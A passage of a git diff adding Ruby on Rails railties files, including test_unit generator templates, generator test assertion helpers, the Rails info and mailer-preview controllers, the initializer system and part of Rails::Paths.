+  <%- if attribute.password_digest? -%>
+  password_digest: <%%= BCrypt::Password.create('secret') %>
+  <%- elsif attribute.reference? -%>
+  <%= yaml_key_value(attribute.column_name.sub(/_id$/, ''), attribute.default || name) %>
+  <%- else -%>
+  <%= yaml_key_value(attribute.column_name, attribute.default) %>
+  <%- end -%>
+  <%- if attribute.polymorphic? -%>
+  <%= yaml_key_value("#{attribute.name}_type", attribute.human_name) %>
+  <%- end -%>
+<% end -%>
+<% end -%>
+<% else -%>
+
+# This model initially had no columns defined. If you add columns to the
+# model remove the '{}' from the fixture names and add the columns immediately
+# below each fixture, per the syntax in the comments below
+#
+one: {}
+# column: value
+#
+two: {}
+# column: value
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb b/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb
new file mode 100644
index 0000000000..c9bc7d5b90
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>Test < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb b/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb
new file mode 100644
index 0000000000..f324000235
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb
@@ -0,0 +1,13 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class PluginGenerator < Base # :nodoc:
+      check_class_collision suffix: "Test"
+
+      def create_test_files
+        directory ".", "test"
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt b/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
new file mode 100644
index 0000000000..0cbae1120e
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class <%= class_name %>Test < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
new file mode 100644
index 0000000000..30a861f09d
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
@@ -0,0 +1,2 @@
+require 'active_support/testing/autorun'
+require 'active_support'
diff --git a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
new file mode 100644
index 0000000000..fbe5be3cdc
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
@@ -0,0 +1,57 @@
+require_relative "../../test_unit"
+require_relative "../../resource_helpers"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class ScaffoldGenerator < Base # :nodoc:
+      include Rails::Generators::ResourceHelpers
+
+      check_class_collision suffix: "ControllerTest"
+
+      class_option :api, type: :boolean,
+                         desc: "Generates API functional tests"
+
+      class_option :system_tests, type: :string,
+                         desc: "Skip system test files"
+
+      argument :attributes, type: :array, default: [], banner: "field:type field:type"
+
+      def create_test_files
+        template_file = options.api? ? "api_functional_test.rb" : "functional_test.rb"
+        template template_file,
+                 File.join("test/controllers", controller_class_path, "#{controller_file_name}_controller_test.rb")
+
+        unless options.api? || options[:system_tests].nil?
+          template "system_test.rb", File.join("test/system", class_path, "#{file_name.pluralize}_test.rb")
+        end
+      end
+
+      def fixture_name
+        @fixture_name ||=
+          if mountable_engine?
+            (namespace_dirs + [table_name]).join("_")
+          else
+            table_name
+          end
+      end
+
+      private
+
+        def attributes_string
+          attributes_hash.map { |k, v| "#{k}: #{v}" }.join(", ")
+        end
+
+        def attributes_hash
+          return {} if attributes_names.empty?
+
+          attributes_names.map do |name|
+            if %w(password password_confirmation).include?(name) && attributes.any?(&:password_digest?)
+              ["#{name}", "'secret'"]
+            else
+              ["#{name}", "@#{singular_table_name}.#{name}"]
+            end
+          end.sort.to_h
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb
new file mode 100644
index 0000000000..f21861d8e6
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb
@@ -0,0 +1,44 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= controller_class_name %>ControllerTest < ActionDispatch::IntegrationTest
+  <%- if mountable_engine? -%>
+  include Engine.routes.url_helpers
+
+  <%- end -%>
+  setup do
+    @<%= singular_table_name %> = <%= fixture_name %>(:one)
+  end
+
+  test "should get index" do
+    get <%= index_helper %>_url, as: :json
+    assert_response :success
+  end
+
+  test "should create <%= singular_table_name %>" do
+    assert_difference('<%= class_name %>.count') do
+      post <%= index_helper %>_url, params: { <%= "#{singular_table_name}: { #{attributes_string} }" %> }, as: :json
+    end
+
+    assert_response 201
+  end
+
+  test "should show <%= singular_table_name %>" do
+    get <%= show_helper %>, as: :json
+    assert_response :success
+  end
+
+  test "should update <%= singular_table_name %>" do
+    patch <%= show_helper %>, params: { <%= "#{singular_table_name}: { #{attributes_string} }" %> }, as: :json
+    assert_response 200
+  end
+
+  test "should destroy <%= singular_table_name %>" do
+    assert_difference('<%= class_name %>.count', -1) do
+      delete <%= show_helper %>, as: :json
+    end
+
+    assert_response 204
+  end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
new file mode 100644
index 0000000000..195d60be20
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
@@ -0,0 +1,54 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= controller_class_name %>ControllerTest < ActionDispatch::IntegrationTest
+  <%- if mountable_engine? -%>
+  include Engine.routes.url_helpers
+
+  <%- end -%>
+  setup do
+    @<%= singular_table_name %> = <%= fixture_name %>(:one)
+  end
+
+  test "should get index" do
+    get <%= index_helper %>_url
+    assert_response :success
+  end
+
+  test "should get new" do
+    get <%= new_helper %>
+    assert_response :success
+  end
+
+  test "should create <%= singular_table_name %>" do
+    assert_difference('<%= class_name %>.count') do
+      post <%= index_helper %>_url, params: { <%= "#{singular_table_name}: { #{attributes_string} }" %> }
+    end
+
+    assert_redirected_to <%= singular_table_name %>_url(<%= class_name %>.last)
+  end
+
+  test "should show <%= singular_table_name %>" do
+    get <%= show_helper %>
+    assert_response :success
+  end
+
+  test "should get edit" do
+    get <%= edit_helper %>
+    assert_response :success
+  end
+
+  test "should update <%= singular_table_name %>" do
+    patch <%= show_helper %>, params: { <%= "#{singular_table_name}: { #{attributes_string} }" %> }
+    assert_redirected_to <%= singular_table_name %>_url(<%= "@#{singular_table_name}" %>)
+  end
+
+  test "should destroy <%= singular_table_name %>" do
+    assert_difference('<%= class_name %>.count', -1) do
+      delete <%= show_helper %>
+    end
+
+    assert_redirected_to <%= index_helper %>_url
+  end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/system_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/system_test.rb
new file mode 100644
index 0000000000..f83f5a5c62
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/system_test.rb
@@ -0,0 +1,49 @@
+require "application_system_test_case"
+
+<% module_namespacing do -%>
+class <%= class_name.pluralize %>Test < ApplicationSystemTestCase
+  setup do
+    @<%= singular_table_name %> = <%= fixture_name %>(:one)
+  end
+
+  test "visiting the index" do
+    visit <%= plural_table_name %>_url
+    assert_selector "h1", text: "<%= class_name.pluralize.titleize %>"
+  end
+
+  test "creating a <%= human_name %>" do
+    visit <%= plural_table_name %>_url
+    click_on "New <%= class_name.titleize %>"
+
+    <%- attributes_hash.each do |attr, value| -%>
+    fill_in "<%= attr.humanize.titleize %>", with: <%= value %>
+    <%- end -%>
+    click_on "Create <%= human_name %>"
+
+    assert_text "<%= human_name %> was successfully created"
+    click_on "Back"
+  end
+
+  test "updating a <%= human_name %>" do
+    visit <%= plural_table_name %>_url
+    click_on "Edit", match: :first
+
+    <%- attributes_hash.each do |attr, value| -%>
+    fill_in "<%= attr.humanize.titleize %>", with: <%= value %>
+    <%- end -%>
+    click_on "Update <%= human_name %>"
+
+    assert_text "<%= human_name %> was successfully updated"
+    click_on "Back"
+  end
+
+  test "destroying a <%= human_name %>" do
+    visit <%= plural_table_name %>_url
+    page.accept_confirm do
+      click_on "Destroy", match: :first
+    end
+
+    assert_text "<%= human_name %> was successfully destroyed"
+  end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/system/system_generator.rb b/railties/lib/rails/generators/test_unit/system/system_generator.rb
new file mode 100644
index 0000000000..95cc86cc8a
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/system/system_generator.rb
@@ -0,0 +1,17 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class SystemGenerator < Base # :nodoc:
+      check_class_collision suffix: "Test"
+
+      def create_test_files
+        if !File.exist?(File.join("test/application_system_test_case.rb"))
+          template "application_system_test_case.rb", File.join("test", "application_system_test_case.rb")
+        end
+
+        template "system_test.rb", File.join("test/system", class_path, "#{file_name.pluralize}_test.rb")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/system/templates/application_system_test_case.rb b/railties/lib/rails/generators/test_unit/system/templates/application_system_test_case.rb
new file mode 100644
index 0000000000..d19212abd5
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/system/templates/application_system_test_case.rb
@@ -0,0 +1,5 @@
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :chrome, screen_size: [1400, 1400]
+end
diff --git a/railties/lib/rails/generators/test_unit/system/templates/system_test.rb b/railties/lib/rails/generators/test_unit/system/templates/system_test.rb
new file mode 100644
index 0000000000..b5ce2ba5c8
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/system/templates/system_test.rb
@@ -0,0 +1,9 @@
+require "application_system_test_case"
+
+class <%= class_name.pluralize %>Test < ApplicationSystemTestCase
+  # test "visiting the index" do
+  #   visit <%= plural_table_name %>_url
+  #
+  #   assert_selector "h1", text: "<%= class_name %>"
+  # end
+end
diff --git a/railties/lib/rails/generators/testing/assertions.rb b/railties/lib/rails/generators/testing/assertions.rb
new file mode 100644
index 0000000000..1cabf4e28c
--- /dev/null
+++ b/railties/lib/rails/generators/testing/assertions.rb
@@ -0,0 +1,121 @@
+module Rails
+  module Generators
+    module Testing
+      module Assertions
+        # Asserts a given file exists. You need to supply an absolute path or a path relative
+        # to the configured destination:
+        #
+        #   assert_file "config/environment.rb"
+        #
+        # You can also give extra arguments. If the argument is a regexp, it will check if the
+        # regular expression matches the given file content. If it's a string, it compares the
+        # file with the given string:
+        #
+        #   assert_file "config/environment.rb", /initialize/
+        #
+        # Finally, when a block is given, it yields the file content:
+        #
+        #   assert_file "app/controllers/products_controller.rb" do |controller|
+        #     assert_instance_method :index, controller do |index|
+        #       assert_match(/Product\.all/, index)
+        #     end
+        #   end
+        def assert_file(relative, *contents)
+          absolute = File.expand_path(relative, destination_root)
+          assert File.exist?(absolute), "Expected file #{relative.inspect} to exist, but does not"
+
+          read = File.read(absolute) if block_given? || !contents.empty?
+          yield read if block_given?
+
+          contents.each do |content|
+            case content
+            when String
+              assert_equal content, read
+            when Regexp
+              assert_match content, read
+            end
+          end
+        end
+        alias :assert_directory :assert_file
+
+        # Asserts a given file does not exist. You need to supply an absolute path or a
+        # path relative to the configured destination:
+        #
+        #   assert_no_file "config/random.rb"
+        def assert_no_file(relative)
+          absolute = File.expand_path(relative, destination_root)
+          assert !File.exist?(absolute), "Expected file #{relative.inspect} to not exist, but does"
+        end
+        alias :assert_no_directory :assert_no_file
+
+        # Asserts a given migration exists. You need to supply an absolute path or a
+        # path relative to the configured destination:
+        #
+        #   assert_migration "db/migrate/create_products.rb"
+        #
+        # This method manipulates the given path and tries to find any migration which
+        # matches the migration name. For example, the call above is converted to:
+        #
+        #   assert_file "db/migrate/003_create_products.rb"
+        #
+        # Consequently, assert_migration accepts the same arguments has assert_file.
+        def assert_migration(relative, *contents, &block)
+          file_name = migration_file_name(relative)
+          assert file_name, "Expected migration #{relative} to exist, but was not found"
+          assert_file file_name, *contents, &block
+        end
+
+        # Asserts a given migration does not exist. You need to supply an absolute path or a
+        # path relative to the configured destination:
+        #
+        #   assert_no_migration "db/migrate/create_products.rb"
+        def assert_no_migration(relative)
+          file_name = migration_file_name(relative)
+          assert_nil file_name, "Expected migration #{relative} to not exist, but found #{file_name}"
+        end
+
+        # Asserts the given class method exists in the given content. This method does not detect
+        # class methods inside (class << self), only class methods which starts with "self.".
+        # When a block is given, it yields the content of the method.
+        #
+        #   assert_migration "db/migrate/create_products.rb" do |migration|
+        #     assert_class_method :up, migration do |up|
+        #       assert_match(/create_table/, up)
+        #     end
+        #   end
+        def assert_class_method(method, content, &block)
+          assert_instance_method "self.#{method}", content, &block
+        end
+
+        # Asserts the given method exists in the given content. When a block is given,
+        # it yields the content of the method.
+        #
+        #   assert_file "app/controllers/products_controller.rb" do |controller|
+        #     assert_instance_method :index, controller do |index|
+        #       assert_match(/Product\.all/, index)
+        #     end
+        #   end
+        def assert_instance_method(method, content)
+          assert content =~ /(\s+)def #{method}(\(.+\))?(.*?)\n\1end/m, "Expected to have method #{method}"
+          yield $3.strip if block_given?
+        end
+        alias :assert_method :assert_instance_method
+
+        # Asserts the given attribute type gets translated to a field type
+        # properly:
+        #
+        #   assert_field_type :date, :date_select
+        def assert_field_type(attribute_type, field_type)
+          assert_equal(field_type, create_generated_attribute(attribute_type).field_type)
+        end
+
+        # Asserts the given attribute type gets a proper default value:
+        #
+        #   assert_field_default_value :string, "MyString"
+        def assert_field_default_value(attribute_type, value)
+          assert_equal(value, create_generated_attribute(attribute_type).default)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/testing/behaviour.rb b/railties/lib/rails/generators/testing/behaviour.rb
new file mode 100644
index 0000000000..ede181a1bc
--- /dev/null
+++ b/railties/lib/rails/generators/testing/behaviour.rb
@@ -0,0 +1,109 @@
+require "active_support/core_ext/class/attribute"
+require "active_support/core_ext/module/delegation"
+require "active_support/core_ext/hash/reverse_merge"
+require "active_support/core_ext/kernel/reporting"
+require "active_support/testing/stream"
+require "active_support/concern"
+require_relative "../../generators"
+
+module Rails
+  module Generators
+    module Testing
+      module Behaviour
+        extend ActiveSupport::Concern
+        include ActiveSupport::Testing::Stream
+
+        included do
+          # Generators frequently change the current path using +FileUtils.cd+.
+          # So we need to store the path at file load and revert back to it after each test.
+          class_attribute :current_path, default: File.expand_path(Dir.pwd)
+          class_attribute :default_arguments, default: []
+          class_attribute :destination_root
+          class_attribute :generator_class
+        end
+
+        module ClassMethods
+          # Sets which generator should be tested:
+          #
+          #   tests AppGenerator
+          def tests(klass)
+            self.generator_class = klass
+          end
+
+          # Sets default arguments on generator invocation. This can be overwritten when
+          # invoking it.
+          #
+          #   arguments %w(app_name --skip-active-record)
+          def arguments(array)
+            self.default_arguments = array
+          end
+
+          # Sets the destination of generator files:
+          #
+          #   destination File.expand_path("../tmp", __dir__)
+          def destination(path)
+            self.destination_root = path
+          end
+        end
+
+        # Runs the generator configured for this class. The first argument is an array like
+        # command line arguments:
+        #
+        #   class AppGeneratorTest < Rails::Generators::TestCase
+        #     tests AppGenerator
+        #     destination File.expand_path("../tmp", __dir__)
+        #     setup :prepare_destination
+        #
+        #     test "database.yml is not created when skipping Active Record" do
+        #       run_generator %w(myapp --skip-active-record)
+        #       assert_no_file "config/database.yml"
+        #     end
+        #   end
+        #
+        # You can provide a configuration hash as second argument. This method returns the output
+        # printed by the generator.
+        def run_generator(args = default_arguments, config = {})
+          capture(:stdout) do
+            args += ["--skip-bundle"] unless args.include? "--dev"
+            generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+          end
+        end
+
+        # Instantiate the generator.
+        def generator(args = default_arguments, options = {}, config = {})
+          @generator ||= generator_class.new(args, options, config.reverse_merge(destination_root: destination_root))
+        end
+
+        # Create a Rails::Generators::GeneratedAttribute by supplying the
+        # attribute type and, optionally, the attribute name:
+        #
+        #   create_generated_attribute(:string, 'name')
+        def create_generated_attribute(attribute_type, name = "test", index = nil)
+          Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(":"))
+        end
+
+        private
+
+          def destination_root_is_set?
+            raise "You need to configure your Rails::Generators::TestCase destination root." unless destination_root
+          end
+
+          def ensure_current_path
+            cd current_path
+          end
+
+          # Clears all files and directories in destination.
+          def prepare_destination # :doc:
+            rm_rf(destination_root)
+            mkdir_p(destination_root)
+          end
+
+          def migration_file_name(relative)
+            absolute = File.expand_path(relative, destination_root)
+            dirname, file_name = File.dirname(absolute), File.basename(absolute).sub(/\.rb$/, "")
+            Dir.glob("#{dirname}/[0-9]*_*.rb").grep(/\d+_#{file_name}.rb$/).first
+          end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/testing/setup_and_teardown.rb b/railties/lib/rails/generators/testing/setup_and_teardown.rb
new file mode 100644
index 0000000000..73102a283f
--- /dev/null
+++ b/railties/lib/rails/generators/testing/setup_and_teardown.rb
@@ -0,0 +1,18 @@
+module Rails
+  module Generators
+    module Testing
+      module SetupAndTeardown
+        def setup # :nodoc:
+          destination_root_is_set?
+          ensure_current_path
+          super
+        end
+
+        def teardown # :nodoc:
+          ensure_current_path
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
new file mode 100644
index 0000000000..db08d578c0
--- /dev/null
+++ b/railties/lib/rails/info.rb
@@ -0,0 +1,103 @@
+require "cgi"
+
+module Rails
+  # This module helps build the runtime properties that are displayed in
+  # Rails::InfoController responses. These include the active Rails version,
+  # Ruby version, Rack version, and so on.
+  module Info
+    mattr_accessor :properties, default: []
+
+    class << @@properties
+      def names
+        map(&:first)
+      end
+
+      def value_for(property_name)
+        if property = assoc(property_name)
+          property.last
+        end
+      end
+    end
+
+    class << self #:nodoc:
+      def property(name, value = nil)
+        value ||= yield
+        properties << [name, value] if value
+      rescue Exception
+      end
+
+      def to_s
+        column_width = properties.names.map(&:length).max
+        info = properties.map do |name, value|
+          value = value.join(", ") if value.is_a?(Array)
+          "%-#{column_width}s   %s" % [name, value]
+        end
+        info.unshift "About your application's environment"
+        info * "\n"
+      end
+
+      alias inspect to_s
+
+      def to_html
+        "<table>".tap do |table|
+          properties.each do |(name, value)|
+            table << %(<tr><td class="name">#{CGI.escapeHTML(name.to_s)}</td>)
+            formatted_value = if value.kind_of?(Array)
+              "<ul>" + value.map { |v| "<li>#{CGI.escapeHTML(v.to_s)}</li>" }.join + "</ul>"
+            else
+              CGI.escapeHTML(value.to_s)
+            end
+            table << %(<td class="value">#{formatted_value}</td></tr>)
+          end
+          table << "</table>"
+        end
+      end
+    end
+
+    # The Rails version.
+    property "Rails version" do
+      Rails.version.to_s
+    end
+
+    # The Ruby version and platform, e.g. "2.0.0-p247 (x86_64-darwin12.4.0)".
+    property "Ruby version" do
+      "#{RUBY_VERSION}-p#{RUBY_PATCHLEVEL} (#{RUBY_PLATFORM})"
+    end
+
+    # The RubyGems version, if it's installed.
+    property "RubyGems version" do
+      Gem::RubyGemsVersion
+    end
+
+    property "Rack version" do
+      ::Rack.release
+    end
+
+    property "JavaScript Runtime" do
+      ExecJS.runtime.name
+    end
+
+    property "Middleware" do
+      Rails.configuration.middleware.map(&:inspect)
+    end
+
+    # The application's location on the filesystem.
+    property "Application root" do
+      File.expand_path(Rails.root)
+    end
+
+    # The current Rails environment (development, test, or production).
+    property "Environment" do
+      Rails.env
+    end
+
+    # The name of the database adapter for the current environment.
+    property "Database adapter" do
+      ActiveRecord::Base.configurations[Rails.env]["adapter"]
+    end
+
+    property "Database schema version" do
+      ActiveRecord::Migrator.current_version rescue nil
+    end
+  end
+end
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
new file mode 100644
index 0000000000..9fe6ef5a93
--- /dev/null
+++ b/railties/lib/rails/info_controller.rb
@@ -0,0 +1,44 @@
+require_relative "application_controller"
+require "action_dispatch/routing/inspector"
+
+class Rails::InfoController < Rails::ApplicationController # :nodoc:
+  prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+  layout -> { request.xhr? ? false : "application" }
+
+  before_action :require_local!
+
+  def index
+    redirect_to action: :routes
+  end
+
+  def properties
+    @info = Rails::Info.to_html
+    @page_title = "Properties"
+  end
+
+  def routes
+    if path = params[:path]
+      path = URI.parser.escape path
+      normalized_path = with_leading_slash path
+      render json: {
+        exact: match_route { |it| it.match normalized_path },
+        fuzzy: match_route { |it| it.spec.to_s.match path }
+      }
+    else
+      @routes_inspector = ActionDispatch::Routing::RoutesInspector.new(_routes.routes)
+      @page_title = "Routes"
+    end
+  end
+
+  private
+
+    def match_route
+      _routes.routes.select { |route|
+        yield route.path
+      }.map { |route| route.path.spec.to_s }
+    end
+
+    def with_leading_slash(path)
+      ("/" + path).squeeze("/")
+    end
+end
diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb
new file mode 100644
index 0000000000..a2615d5efd
--- /dev/null
+++ b/railties/lib/rails/initializable.rb
@@ -0,0 +1,93 @@
+require "tsort"
+
+module Rails
+  module Initializable
+    def self.included(base) #:nodoc:
+      base.extend ClassMethods
+    end
+
+    class Initializer
+      attr_reader :name, :block
+
+      def initialize(name, context, options, &block)
+        options[:group] ||= :default
+        @name, @context, @options, @block = name, context, options, block
+      end
+
+      def before
+        @options[:before]
+      end
+
+      def after
+        @options[:after]
+      end
+
+      def belongs_to?(group)
+        @options[:group] == group || @options[:group] == :all
+      end
+
+      def run(*args)
+        @context.instance_exec(*args, &block)
+      end
+
+      def bind(context)
+        return self if @context
+        Initializer.new(@name, context, @options, &block)
+      end
+
+      def context_class
+        @context.class
+      end
+    end
+
+    class Collection < Array
+      include TSort
+
+      alias :tsort_each_node :each
+      def tsort_each_child(initializer, &block)
+        select { |i| i.before == initializer.name || i.name == initializer.after }.each(&block)
+      end
+
+      def +(other)
+        Collection.new(to_a + other.to_a)
+      end
+    end
+
+    def run_initializers(group = :default, *args)
+      return if instance_variable_defined?(:@ran)
+      initializers.tsort_each do |initializer|
+        initializer.run(*args) if initializer.belongs_to?(group)
+      end
+      @ran = true
+    end
+
+    def initializers
+      @initializers ||= self.class.initializers_for(self)
+    end
+
+    module ClassMethods
+      def initializers
+        @initializers ||= Collection.new
+      end
+
+      def initializers_chain
+        initializers = Collection.new
+        ancestors.reverse_each do |klass|
+          next unless klass.respond_to?(:initializers)
+          initializers = initializers + klass.initializers
+        end
+        initializers
+      end
+
+      def initializers_for(binding)
+        Collection.new(initializers_chain.map { |i| i.bind(binding) })
+      end
+
+      def initializer(name, opts = {}, &blk)
+        raise ArgumentError, "A block must be passed when defining an initializer" unless blk
+        opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] }
+        initializers << Initializer.new(name, nil, opts, &blk)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/mailers_controller.rb b/railties/lib/rails/mailers_controller.rb
new file mode 100644
index 0000000000..5b9af97617
--- /dev/null
+++ b/railties/lib/rails/mailers_controller.rb
@@ -0,0 +1,85 @@
+require_relative "application_controller"
+
+class Rails::MailersController < Rails::ApplicationController # :nodoc:
+  prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+
+  before_action :require_local!, unless: :show_previews?
+  before_action :find_preview, only: :preview
+
+  helper_method :part_query
+
+  def index
+    @previews = ActionMailer::Preview.all
+    @page_title = "Mailer Previews"
+  end
+
+  def preview
+    if params[:path] == @preview.preview_name
+      @page_title = "Mailer Previews for #{@preview.preview_name}"
+      render action: "mailer"
+    else
+      @email_action = File.basename(params[:path])
+
+      if @preview.email_exists?(@email_action)
+        @email = @preview.call(@email_action, params)
+
+        if params[:part]
+          part_type = Mime::Type.lookup(params[:part])
+
+          if part = find_part(part_type)
+            response.content_type = part_type
+            render plain: part.respond_to?(:decoded) ? part.decoded : part
+          else
+            raise AbstractController::ActionNotFound, "Email part '#{part_type}' not found in #{@preview.name}##{@email_action}"
+          end
+        else
+          @part = find_preferred_part(request.format, Mime[:html], Mime[:text])
+          render action: "email", layout: false, formats: %w[html]
+        end
+      else
+        raise AbstractController::ActionNotFound, "Email '#{@email_action}' not found in #{@preview.name}"
+      end
+    end
+  end
+
+  private
+    def show_previews? # :doc:
+      ActionMailer::Base.show_previews
+    end
+
+    def find_preview # :doc:
+      candidates = []
+      params[:path].to_s.scan(%r{/|$}) { candidates << $` }
+      preview = candidates.detect { |candidate| ActionMailer::Preview.exists?(candidate) }
+
+      if preview
+        @preview = ActionMailer::Preview.find(preview)
+      else
+        raise AbstractController::ActionNotFound, "Mailer preview '#{params[:path]}' not found"
+      end
+    end
+
+    def find_preferred_part(*formats) # :doc:
+      formats.each do |format|
+        if part = @email.find_first_mime_type(format)
+          return part
+        end
+      end
+
+      if formats.any? { |f| @email.mime_type == f }
+        @email
+      end
+    end
+
+    def find_part(format) # :doc:
+      if part = @email.find_first_mime_type(format)
+        part
+      elsif @email.mime_type == format
+        @email
+      end
+    end
+
+    def part_query(mime_type)
+      request.query_parameters.merge(part: mime_type).to_query
+    end
+end
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
new file mode 100644
index 0000000000..6bdb673215
--- /dev/null
+++ b/railties/lib/rails/paths.rb
@@ -0,0 +1,225 @@
+module Rails
+  module Paths
+    # This object is an extended hash that behaves as root of the <tt>Rails::Paths</tt> system.
+    # It allows you to collect information about how you want to structure your application
+    # paths through a Hash-like API. It requires you to give a physical path on initialization.
+    #
+    #   root = Root.new "/rails"
+    #   root.add "app/controllers", eager_load: true
+    #
+    # The above command creates a new root object and adds "app/controllers" as a path.
+    # This means we can get a <tt>Rails::Paths::Path</tt> object back like below:
+    #
+    #   path = root["app/controllers"]
+    #   path.eager_load?               # => true
+    #   path.is_a?(Rails::Paths::Path) # => true
+    #
+    # The +Path+ object is simply an enumerable and allows you to easily add extra paths:
+    #
+    #   path.is_a?(Enumerable) # => true
+    #   path.to_ary.inspect    # => ["app/controllers"]
+    #
+    #   path << "lib/controllers"
+    #   path.to_ary.inspect    # => ["app/controllers", "lib/controllers"]
+    #
+    # Notice that when you add a path using +add+, the path object created already
+    # contains the path with the same path value given to +add+. In some situations,
+    # you may not want this behavior, so you can give <tt>:with</tt> as option.
+    #
+    #   root.add "config/routes", with: "config/routes.rb"
+    #   root["config/routes"].inspect # => ["config/routes.rb"]
+    #
+    # The +add+ method accepts the following options as arguments:
+    # eager_load, autoload, autoload_once, and glob.
+    #
+    # Finally, the +Path+ object also provides a few helpers:
+    #
+    #   root = Root.new "/rails"
+    #   root.add "app/controllers"
+    #
+    #   root["app/controllers"].expanded # => ["/rails/app/controllers"]
+    #   root["app/controllers"].existent # => ["/rails/app/controllers"]
+    #
+    # Check the <tt>Rails::Paths::Path</tt> documentation for more information.
+    class Root
+      attr_accessor :path
+
+      def initialize(path)
+        @path = path
+        @root = {}
+      end
+
+      def []=(path, value)
+        glob = self[path] ? self[path].glob : nil
+        add(path, with: value, glob: glob)
+      end
+
+      def add(path, options = {})
+        with = Array(options.fetch(:with, path))
+        @root[path] = Path.new(self, path, with, options)
+      end
+
+      def [](path)
+        @root[path]
+      end
+
+      def values
+        @root.values
+      end
+
+      def keys
+        @root.keys
+      end
+
+      def values_at(*list)
+        @root.values_at(*list)
+      end
+
+      def all_paths
+        values.tap(&:uniq!)
+      end
+
+      def autoload_once
+        filter_by(&:autoload_once?)
+      end
+
+      def eager_load
+        filter_by(&:eager_load?)
+      end
+
+      def autoload_paths
+        filter_by(&:autoload?)
+      end
+
+      def load_paths
+        filter_by(&:load_path?)
+      end
+
+    private
+
+      def filter_by(&block)
+        all_paths.find_all(&block).flat_map { |path|
+          paths = path.existent
+          paths - path.children.flat_map { |p| yield(p) ? [] : p.existent }
+        }.uniq
+      end
+    end
+
+    class Path
+      include Enumerable
+
+      attr_accessor :glob
+
+      def initialize(root, current, paths, options = {})
+        @paths    = paths
+        @current  = current
+        @root     = root
+        @glob     = options[:glob]
+
+        options[:autoload_once] ? autoload_once! : skip_autoload_once!
+        options[:eager_load]    ? eager_load!    : skip_eager_load!
+        options[:autoload]      ? autoload!      : skip_autoload!
+        options[:load_path]     ? load_path!     : skip_load_path!
+      end
+
+      def absolute_current # :nodoc:
+        File.expand_path(@current, @root.path)
+      end
+
+      def children
+        keys = @root.keys.find_all { |k|
+          k.start_with?(@current) && k != @current
+        }
+        @root.values_at(*keys.sort)
+      end
+
+      def first
+        expanded.first
+      end
+
+      def last
+        expanded.last
+      end
+
+      %w(autoload_once eager_load autoload load_path).each do |m|
+        class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def #{m}!        # def eager_load!
+            @#{m} = true   #   @eager_load = true
+          end              # end
+                           #
+          def skip_#{m}!   # def skip_eager_load!
+            @#{m} = false  #   @eager_load = false
+          end              # end
+                           #
+          def #{m}?        # def eager_load?
+            @#{m}          #   @eager_load
+          end              # end
+        RUBY
+      end
+
+      def each(&block)
+        @paths.each(&block)
+      end
+
+      def <<(path)
+        @paths << path
+      end
+      alias :push :<<
+
+      def concat(paths)
+        @paths.concat paths
+      end
+
+      def unshift(*paths)
